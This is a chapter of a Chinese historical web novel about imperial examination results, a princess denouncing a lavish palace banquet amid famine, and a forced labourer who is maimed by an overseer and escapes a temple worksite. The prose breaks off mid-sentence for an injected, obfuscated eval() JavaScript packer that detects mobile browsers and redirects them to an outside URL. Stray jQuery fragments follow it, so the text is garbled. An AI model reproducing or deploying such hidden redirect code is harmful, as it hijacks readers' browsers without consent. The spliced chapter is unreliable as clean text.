五月恩科放榜那日，京城像一锅煮沸的滚水。


    贡院墙外挤满了人，有穿长衫的士子，有陪考的仆役，更有伸长脖子看热闹的贩夫走卒。红纸黄字的榜文从墙头垂下来，墨迹在晨光里还泛着湿气。中榜的名字被一遍遍传唱，每一个都引来一阵惊呼或叹息。


    “江阴张元辅！中了！”


    “绍兴李维桢！第三十七名！”


    欢呼声、道贺声、鞭炮声混在一起，把整条街震得嗡嗡作响。落第的士子默默退到人群外，有的低头疾走，有的蹲在墙角，盯着青石板缝发呆。没人多看他们一眼——科举这条独木桥，从来只记得过去的人，看不见掉下去的魂。


    柳砚的名字，早被这场狂欢彻底淹没了。


    曾经在贡院外拦马喊冤的书生，如今连提都没人提。他住过的窝棚，已经被新来的流民占了；他常去的书铺，掌柜正忙着给新科秀才们裁红纸、写喜联；他抄过的《孟子》，怕是已经和破草席一起，被扔进了护城河。


    死人就是这样。再大的冤屈，再烈的怒火，只要咽了气，就变成灰，风一吹，散了。


    贡院斜对面的茶楼二楼，杨明远凭窗坐着。


    他今天没穿官服，只一袭月白直裰，头上束着青玉簪。桌上摆着一壶龙井，两碟点心，他却一口没动，只望着楼下那片喧嚣的人海。


    小二上来续水，赔着笑：“杨大人，今科可是出了不少青年才俊，听说一甲三名都是二十出头的年纪，真真是后生可畏。”


    杨明远“嗯”了一声，目光落在街角一个蹲着的老举人身上。那人头发花白，背佝偻得像虾米，正盯着自己的鞋尖发呆——鞋尖破了个洞，露出里面脏污的布袜。


    “那是第几次落榜了？”杨明远问。


    小二顺着看去，撇撇嘴：“刘老头啊，考了三十多年啦！年年都来，年年不中。要我说，这把年纪了，还折腾什么劲儿？回家抱孙子不好么？”


    杨明远没接话。他看着老举人慢慢站起身，拍了拍袍子上的灰，一步一挪地往巷子深处走。背影单薄，像片枯叶。


    “有时候，”杨明远轻声说，像在自语，“不是想折腾，是除了这条路……无路可走。”


    小二没听清，讪讪退下了。


    杨明远端起茶杯，茶已经凉了，涩得像药。


    他也想“看开”。可这世道，睁眼闭眼都是吃人的戏码，怎么看得开？


    楼下又是一阵喧哗。原来是一队新科秀才结伴去酒楼庆贺，个个意气风发，袍袖带风。路人为他们让道，小贩争相道贺，仿佛他们脚下踩的不是青石板，而是青云梯。


    杨明远看着鲜衣怒马的背影，柳砚也曾这样年轻，锐利，相信“公道”两个字有千斤重。


    现在成了枯骨，新科举子，又能鲜亮多久？


    他放下茶杯，起身下楼。


    茶钱留在桌上，铜板压着红纸——那是刚才小二塞给他的喜糖包装，上面印着“金榜题名”四个烫金字，在晨光里亮得刺眼。


    琼林宴设在西苑琼林苑。


    这是皇家园林，平日里不对外开放。今夜却灯火通明，从苑门到宴殿，一路悬挂着琉璃宫灯，灯下缀着流苏，风一吹，光影流转，如梦似幻。


    宴殿前搭了戏台，请的是京城最有名的“庆喜班”，正演着《独占鳌头》。生角扮的新科状元一身红袍，唱腔高亢：“十年寒窗无人问，一举成名天下知——”


    台下，新科进士们按名次排座，每人面前一张紫檀小案，案上摆着御赐的餐具：金杯、玉箸、象牙碟。宫女们穿梭其间，端上一道道御膳——这已经不是菜，是排场：雕成龙凤的南瓜，垒成宝塔的肉脯，拼成山河的果盘。


    萧道煜坐在主位左侧。


    她今天穿了正式的亲王蟒袍，金线绣的蟠龙在烛光下张牙舞爪。冠是七梁冠，梁上缀着明珠，压得她额角发疼。她脸上挂着得体的微笑，偶尔举杯，偶尔颔首，像个精美的木偶。


    皇帝萧善钧坐在正中。他今日心情极好，频频举杯，对着新科进士们说些“国之栋梁”“未来可期”的话。每说一句，底下就是一片山呼“陛下圣明”。


    皇后李氏坐在另一侧，端庄温婉，只是眼角的细纹在浓妆下依旧清晰。她偶尔与身旁的命妇低语，笑容无懈可击。


    萧道煜看着这一切，胃里那团冰冷的石头又在往下坠。


    她想起白天北镇抚司送来的密报：江南三府水患，灾民已过十万，地方官却压着不报，因为“万寿节刚过，不宜冲了喜气”。户部的赈灾款拨下去了，层层盘剥，到灾民手里只剩三成。


    而这里，一杯酒，抵得上灾民一家半年的口粮。


    “靖王殿下。”身旁有人敬酒，是今科一甲第三名，一个二十出头的青年，眼里闪着未经世事的光，“学生敬您一杯，谢殿下提携之恩。”


    萧道煜举杯，唇碰了碰杯沿，没喝。


    戏台上正演到状元游街，锣鼓喧天，好不热闹。台下的新科进士们看得如痴如醉，仿佛那就是他们不久后的未来。


    角落，一个扮小鬼的伶人正偷偷揉着膝盖——刚才翻跟头时摔着了。但没人注意他，所有人的目光都集中在那个“状元”身上。


    这戏，这宴，这盛世，都是如此。


    光鲜的在前台，疼痛的在角落。


    她端起酒杯，这次真的喝了一口。酒很醇，是西域进贡的葡萄酿，甜得发腻，腻得让人想吐。


    宴至半酣，礼部尚书姚宗礼起身，朗声道：“陛下，今日琼林盛宴，新科才俊济济一堂。臣提议，不如行个酒令，以‘春’字为题，每人赋诗一句，接不上者罚酒三杯。”


    众人轰然叫好。


    萧道煜冷眼看着。一个个锦绣诗句从那些年轻人口中吐出……字字珠玑，句句风雅。


    轮到张元辅时，他略一沉吟，满堂喝彩。


    萧道煜却忽然站起了身。


    所有的目光都集中过来。她端着酒杯，走到宴殿中央。烛光在她脸上投下明明灭灭的影子，那张昳丽的脸，在光影里显得格外诡异。


    “好诗。”她开口，声音不高，却让整个大殿安静下来，“……张进士可知，江南桑农养蚕，一季要死多少蚕，才能织出一匹贡缎？”


    张元辅僵住了。


    “你又可知，”萧道煜继续，声音平稳得像在说今日天气，“为了今夜这场宴，光是从江南运来的鲜果，路上就要坏掉三成？那些烂掉的果子，够多少灾民活命？”


    死寂。


    新科进士们脸上的笑容凝固了，有人低下头，有人偷偷瞥向皇帝。


    萧善钧脸上的笑意淡了几分，但依旧端着酒杯：“道煜，今日琼林盛宴，莫要说这些扫兴的话。”


    “扫兴？”萧道煜转头看向父亲，琥珀色的瞳孔在烛光里深不见底，“儿臣只是觉得，这些新科进士将来都是要治国理政的。若连一粥一饭来之不易都不知，如何治得了国？”


    她举起酒杯，对着满殿的人：“这杯酒，本王敬你们。敬你们金榜题名，敬你们前程似锦——也敬你们，将来别忘了，这琼林苑外，还有人间。”


    说完，她一饮而尽。


    酒杯倒扣，滴酒不剩。


    然后她转身，对着萧善钧躬身：“儿臣不胜酒力，先行告退。”


    不等皇帝回应，她已大步走出宴殿。绯色蟒袍在夜风里翻飞，像一团将熄未熄的火。


    身后，宴殿里的寂静持续了几息，随即又被丝竹声、恭维声填满。


    仿佛刚才那番话，只是一阵无关紧要的风。


    同一轮明月下，大慈恩寺的后山工地，却是另一番景象。


    没有丝竹，没有美酒，只有铁镐砸在石头上的闷响，监工藤鞭破空的声音，和苦力们压抑的喘息。


    狗剩已经瘦得脱了形，颧骨高高凸起，眼窝深陷，额角那道疤在月光下像条蜈蚣。身上的短打破得遮不住肉，露出的皮肤上全是鞭痕和擦伤。


    右手的小指，三天前被剁了。


    那天是因为一车石料。狗剩和黑皮一组，负责把后山采来的青石运到前殿。那车石头装得特别满，山路又陡，推到一半时，轮子卡在石缝里。


    监工独眼汉子骂骂咧咧过来，一鞭子抽在狗剩背上：“废物！这么点活儿都干不好！”


    狗剩咬着牙，和黑皮一起使劲推。车轮纹丝不动。


    “还愣着干什么？都过来帮忙！”独眼汉子吼来另外几个苦力。


    七八个人一起推，车轮终于动了，却因为用力过猛，整辆车向一侧倾斜。狗剩下意识伸手去扶，一块青石从车上滚落，擦着独眼汉子的脚边砸在地上。


    “你他娘的眼瞎了？！”独眼汉子暴怒，一脚踹在狗剩肚子上。


    狗剩疼得蜷缩在地，还没爬起来，独眼汉子已经揪住他的头发，把他拖到一旁的石墩前。


    “老子今天教教你规矩！”独眼汉子从腰间抽出剁骨刀——那是寺里厨房用的，刀口卷了刃。


    狗剩瞳孔骤缩：“不……不要……”


    黑皮冲过来想拦，被另外两个监工架住。其他苦力都低着头，不敢看。


    “不要？”独眼汉子狞笑，“在这地方，老子的话就是规矩！”


    他按住狗剩的右手，压在石墩上。


    狗剩拼命挣扎，但三个月吃不饱的体力，哪抵得过这些打手的蛮力。他的手腕被死死按住，五指张开，像只待宰的鸡。


    “这一指，是教你长记性。”独眼汉子举起刀。


    狗剩的视线模糊了。他看见黑皮别过脸，看见其他苦力颤抖的肩膀，看见头顶那轮冰冷的月亮。


    然后剧痛传来。


    不是一下，是一下，两下，三下——刀钝，没能一刀剁断。骨头碎裂的声音清晰可闻，像树枝被生生折断。


    狗剩咬住自己的破草鞋。草鞋沾满泥和血，霉味和血腥味冲进口腔，呛得他想吐，却连吐的力气都没有。


    第四下，小指终于断了。


    半截指头滚落在石墩旁，指甲缝里还塞着黑泥。伤口处，白骨茬子刺出皮肉，血像开了闸的水，汩汩往外涌。


    独眼汉子松开手，把刀在狗剩衣服上擦了擦：“抬下去，别死在这儿，晦气。”


    狗剩被拖回棚屋，扔在草铺上。没有人给他包扎，没有人给他水。他蜷缩在角落，右手攥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073739|193874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成拳，血从指缝渗出来，把干草染成暗红色。


    痛。钻心的痛。但比痛更深的，是冷。


    那种从骨头缝里渗出来的冷，冻僵了血液，冻僵了心跳，也冻僵了……最后一点对“人”的信任。


    他想起刚来时，黑皮拍着胸脯说“兄弟一场，有福同享”。


    想起其他苦力在夜里偷偷分他半块窝头。


    想起那个累晕被拖走的老汉，临死前抓着他的手说“娃，逃出去……”


    都是假的。


    在活命面前，义气是假的，同情是假的，连“人”这个字，也是假的。


    狗剩在黑暗里睁着眼。右手传来的剧痛一阵阵冲击着神经，但他没昏过去。反而异常清醒，清醒得能听见血滴在草上的声音，能听见隔壁棚屋的鼾声，能听见……心里有什么东西碎掉的声音。


    天亮时，黑皮偷偷摸过来，塞给他一块脏布：“捂着，别流血流死了。”


    狗剩没接。他用左手撑起身子，盯着黑皮。


    那眼神让黑皮后退了一步。


    “狗剩，你……你别怪我，我拦不住……”


    “我没怪你。”狗剩开口，声音哑得像砂纸磨过，“我怪我自己。”


    怪自己还相信“兄弟”。怪自己还觉得这世上有“公道”。怪自己……还把自己当人看。


    他接过脏布，胡乱缠在断指上。布很快被血浸透，但他没再管。


    从今天起，他不再是狗剩。


    他是从地狱里爬出来的鬼。鬼不需要手指，不需要义气，不需要良心。


    鬼只需要……活着。


    七月十五，盂兰盆节。


    大慈恩寺的钟声从早敲到晚，嗡嗡地响，像无数只鬼在诵经。前殿香火鼎盛，善男信女挤满了院子，往功德箱里扔铜板，往长明灯里添香油。住持带着僧众做法事，梵唱声飘出几里地，说是要超度亡魂，普济孤魂野鬼。


    后山工地却停了工。


    独眼监工难得发了善心——或者说，是怕晦气冲了前头的法会，让苦力们歇一天。每人发了两个白面馒头，算是过节。


    狗剩没吃。他把馒头藏在怀里，右手断指处用破布胡乱缠着，布早被脓血浸透，硬邦邦地硌着伤口。肿已经消了些，但痛还在，一跳一跳地疼，像有根针在骨头里搅。


    他蜷在棚屋最暗的角落，盯着门口那点光。


    三个月。他从春末熬到秋初，从一个人熬成一具行尸。同棚的苦力死了三个：一个累死的，一个病死的，还有一个……是被石头砸烂了脑袋，草席一卷扔后山了事。现在棚屋里还剩七个人，个个瘦得脱相，眼睛浑浊，像一群等死的牲口。


    黑皮坐在他对面，正狼吞虎咽地啃馒头。啃完了，舔舔手指，凑过来：“狗剩，你真不吃？”


    狗剩摇头。


    “啧，跟自个儿过不去。”黑皮嘟囔，眼睛却瞟向狗剩怀里的馒头。


    狗剩没理他。他听着前殿传来的梵唱，听着善男信女的祈祷，听着功德箱里铜板落地的叮当声。那些声音飘过来，混着后山工地铁镐的锈味、泥土的腥味、还有……尸骨的腐味。


    多讽刺。前头超度亡魂，后头制造新魂。


    天渐渐黑了。前殿传来撞钟声——盂兰盆节最重要的“施食”仪式要开始了。僧众会设斋供奉十方鬼众，撒米洒水，念经超度。看守后门的两个打手也溜去前头看热闹，想沾点福气。


    狗剩等的就是这一刻。


    他慢慢站起身，怀里的馒头滚落在地。黑皮想去捡，狗剩已经一脚踩过去，馒头陷进泥里。


    “你——”黑皮抬头，对上狗剩的眼睛，话卡在喉咙里。


    那不再是三个月前那个眼里还带点光的少年。这是一双……死人的眼睛。浑浊，冰冷，深处烧着一簇幽暗的火。


    “黑皮，”狗剩开口，声音嘶哑，“咱俩的兄弟情分，到此为止。”


    黑皮张了张嘴，没说出话。


    狗剩不再看他，猫腰钻出棚屋。夜色浓得像墨，只有前殿方向的灯火映过来一点微光。他贴着墙根走，避开偶尔经过的僧人，一直摸到寺院最西侧的围墙。


    那里有个狗洞。他半个月前就发现了，洞口被杂草半掩着，大小刚够一个人爬出去。之前一直有打手巡逻，今夜是唯一的机会。


    他趴下，左手撑地，先把脑袋探出去。洞外是条臭水沟，腥臊气扑鼻。他忍着恶心，一点点往外挪。右手的断指撞到洞壁，剧痛袭来，他咬住下唇，血腥味在口腔里漫开。


    终于，整个身子挤了出去。


    他滚进臭水沟，污水浸透了破衣烂衫，也浸透了断指的伤口。盐渍般的刺痛让他眼前发黑，但他没停，手脚并用地爬上岸，踉跄着往前跑。


    跑。离开这里。离开这个吃人的地方。


    街道上空荡荡的。盂兰盆节，百姓都在家祭祖，或去寺庙上香。偶尔有几个醉汉晃过，看见他这副鬼样子，都躲得远远的。


    狗剩不知道自己跑了多久。肺像要炸开，喉咙里全是血腥味。断指处的破布早散开了，半截手指裸露在外，在夜风里一抽一抽地疼。


    但他不敢停。停下就是死。